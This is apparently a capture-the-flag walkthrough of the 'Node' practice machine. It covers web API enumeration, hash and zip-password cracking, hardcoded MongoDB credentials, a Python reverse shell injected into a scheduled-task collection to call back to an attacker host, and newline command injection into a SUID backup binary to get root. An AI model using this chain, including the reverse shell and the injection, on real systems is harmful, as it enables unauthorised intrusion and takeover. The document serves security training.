Node
Sensitive .js files - Cracking .zip file - Finding hardcoded creds - Lateral movement via mongoDB - Bypassing custom SUID program via multiple inputs
Scanning
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-30 22:46 EST
Nmap scan report for 10.10.10.58
Host is up (0.032s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 dc:5e:34:a6:25:db:43:ec:eb:40:f4:96:7b:8e:d1:da (RSA)
| 256 6c:8e:5e:5f:4f:d5:41:7d:18:95:d1:dc:2e:3f:e5:9c (ECDSA)
|_ 256 d8:78:b8:5d:85:ff:ad:7b:e6:e2:b5:da:1e:52:62:36 (ED25519)
3000/tcp open hadoop-datanode Apache Hadoop
| hadoop-datanode-info:
|_ Logs: /login
| hadoop-tasktracker-info:
|_ Logs: /login
|_http-title: MyPlace
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.11 (92%), Linux 3.12 (92%), Linux 3.13 (92%), Linux 3.13 or 4.2 (92%), Linux 3.16 (92%), Linux 3.16 - 4.6 (92%), Linux 3.18 (92%), Linux 3.2 - 4.9 (92%), Linux 3.8 - 3.11 (92%), Linux 4.2 (92%)
No exact OS matches for host (test conditions non-ideal).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelOS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.96 seconds
HTTP Enumeration

Checking robots.txt
gives us nothing, moving on viewing the source we get few js files !
<script type="text/javascript" src="assets/js/app/app.js"></script>
<script type="text/javascript" src="assets/js/app/controllers/home.js"></script>
<script type="text/javascript" src="assets/js/app/controllers/login.js"></script>
<script type="text/javascript" src="assets/js/app/controllers/admin.js"></script>
<script type="text/javascript" src="assets/js/app/controllers/profile.js"></script>
The app.js & login.js scripts don’t give us anything useful - On the other hand, if you view the /home.js
var controllers = angular.module('controllers');controllers.controller('HomeCtrl', function ($scope, $http) {
$http.get('/api/users/latest').then(function (res) {
$scope.users = res.data;
});
});
Viewing that endpoint, or we can even login via admin/admin
and examine the POST API request, it goes and hits the api/users

None of the above user's is_admin is set to true :(
Viewing the admin.js
var controllers = angular.module('controllers');controllers.controller('AdminCtrl', function ($scope, $http, $location, $window) {
$scope.backup = function () {
$window.open('/api/admin/backup', '_self');
}$http.get('/api/session')
.then(function (res) {
if (res.data.authenticated) {
$scope.user = res.data.user;
}
else {
$location.path('/login');
}
});
});
Viewing the /api/admin/backup
- Authentication error, viewing the profile.js
var controllers = angular.module('controllers');controllers.controller('ProfileCtrl', function ($scope, $http, $routeParams) {
$http.get('/api/users/' + $routeParams.username)
.then(function (res) {
$scope.user = res.data;
}, function (res) {
$scope.hasError = true;if (res.status == 404) {
$scope.errorMessage = 'This user does not exist';
}
else {
$scope.errorMessage = 'An unexpected error occurred';
}
});
});
Viewing the route /api/users
we get the full list of hashed user credentials, including the admin account

Cracked the admin's credentials
myP14ceAdm1nAcc0uNT : manchester

Download the backup file - looks like its base64 encoded
cat myplace.backup | base64 -d > out
Returns us a zip file, let's unzip it - prompts for a password !
fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt myplace-decoded.backup
........
..........
PASSWORD FOUND!!!!: pw == magicword
We can now unzip it, and we get the source code for the application
Now the first thing which should strike our mind is finding hardcoded credentials,exploitable vulnerabilities, use of vulnerable dependencies
While reviewing the app.js file, we'll see hard coded mongodb credentials !
const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace?authMechanism=DEFAULT&authSource=myplace';
const backup_key = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';
From the above we find
mark : 5AYRft73VtFpc84k
We can now gain a shell via ssh using the above credentials !
Lateral Move (Mark => Tom)
This section of LinEnum looks interesting !
### NETWORKING ##########################################
.....
[-] Listening TCP:
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:27017 0.0.0.0:* LISTEN -
.....### SERVICES #############################################
[-] Running processes:USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
.....
tom 1196 0.0 7.3 1028640 56072 ? Ssl 03:44 0:06 /usr/bin/node /var/www/myplace/app.js
mongodb 1198 0.5 11.6 281956 87956 ? Ssl 03:44 2:43 /usr/bin/mongod --auth --quiet --config /etc/mongod.conf
tom 1199 0.0 5.9 1074616 45264 ? Ssl 03:44 0:07 /usr/bin/node /var/scheduler/app.js
....
We can see a mongodb server is running on port 27017 - localhost, the services section tells us that there is a process compiling the app.js file that is being run by Tom !
mark@node:/tmp$ ls -la /var/scheduler/
total 28
drwxr-xr-x 3 root root 4096 Sep 3 2017 .
drwxr-xr-x 15 root root 4096 Sep 3 2017 ..
-rw-rw-r-- 1 root root 910 Sep 3 2017 app.js
drwxr-xr-x 19 root root 4096 Sep 3 2017 node_modules
-rw-rw-r-- 1 root root 176 Sep 3 2017 package.json
-rw-r--r-- 1 root root 4709 Sep 3 2017 package-lock.json
We just have READ permissions over the file, so we can't include a reverse shell, viewing the file
const exec = require('child_process').exec;
const MongoClient = require('mongodb').MongoClient;
const ObjectID = require('mongodb').ObjectID;
const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/scheduler?authMechanism=DEFAULT&authSource=scheduler';MongoClient.connect(url, function(error, db) {
if (error || !db) {
console.log('[!] Failed to connect to mongodb');
return;
}setInterval(function () {
db.collection('tasks').find().toArray(function (error, docs) {
if (!error && docs) {
docs.forEach(function (doc) {
if (doc) {
console.log('Executing task ' + doc._id + '...');
exec(doc.cmd);
db.collection('tasks').deleteOne({ _id: new ObjectID(doc._id) });
}
});
}
else if (error) {
console.log('Something went wrong: ' + error);
}
});
}, 30000);});
Understanding MongoDB Structure

The setInterval
function seems to be checking for documents (equivalent to rows) in the tasks collection (equivalent to tables)
For each document it executes the cmd field
Since we do have access to the database, we can add a document that contains a reverse shell as the cmd value
setInterval(function () {
db.collection('tasks').find().toArray(function (error, docs) {
if (!error && docs) {
docs.forEach(function (doc) {
if (doc) {
console.log('Executing task ' + doc._id + '...');
exec(doc.cmd);
db.collection('tasks').deleteOne({ _id: new ObjectID(doc._id) });
}
});
Let's connect to the DB now
mongo -u mark -p 5AYRft73VtFpc84k localhost:27017/scheduler
# Lists the database name
> db
scheduler# Shows all the tables in the database - equivalent to 'show tables'
> show collections
tasks# List content in tasks table - equivalent to 'select * from tasks'
> db.tasks.find()
# insert document that contains a reverse shell
db.tasks.insert({cmd: "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.12\",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"})# double check that the document got added properly.
db.tasks.find()

Privilege Escalation
tom@node:/tmp$ id
uid=1000(tom) gid=1000(tom) groups=1000(tom),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),115(lpadmin),116(sambashare),1002(admin)
[-] SUID files:
-rwsr-xr-- 1 root admin 16484 Sep 3 2017 /usr/local/bin/backup
Since the SUID bit is set for this file, it will execute with the level of privilege that matches the user who owns the file. In this case, the file is owned by root, so the file will execute with root privileges. From the previous command that we ran, we know that Tom is in the group 1002 (admin) and therefore can read and execute this file
We did see this file getting called in the app.js script
....
const backup_key = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';
....app.get('/api/admin/backup', function (req, res) {
if (req.session.user && req.session.user.is_admin) {
var proc = spawn('/usr/local/bin/backup', ['-q', backup_key, __dirname ]);
var backup = '';proc.on("exit", function(exitCode) {
res.header("Content-Type", "text/plain");
res.header("Content-Disposition", "attachment; filename=myplace.backup");
res.send(backup);
});proc.stdout.on("data", function(chunk) {
backup += chunk;
});proc.stdout.on("end", function() {
});
}
else {
res.send({
authenticated: false
});
}
});
/usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /tmp
We get a base64 encoded text, after decoding it we get a troll face, so we can simply include
tom@node ~$ /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 "first
> /bin/bash
> second"
zip warning: name not matched: first
zip error: Nothing to do! (try: zip -r -P magicword /tmp/.backup_2088258888 . -i first)
To run a command as administrator (user "root"), use "sudo ".
See "man sudo_root" for details.
root@node:~# id
uid=0(root) gid=1000(tom) groups=1000(tom),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),115(lpadmin),116(sambashare),1002(admin)
Last updated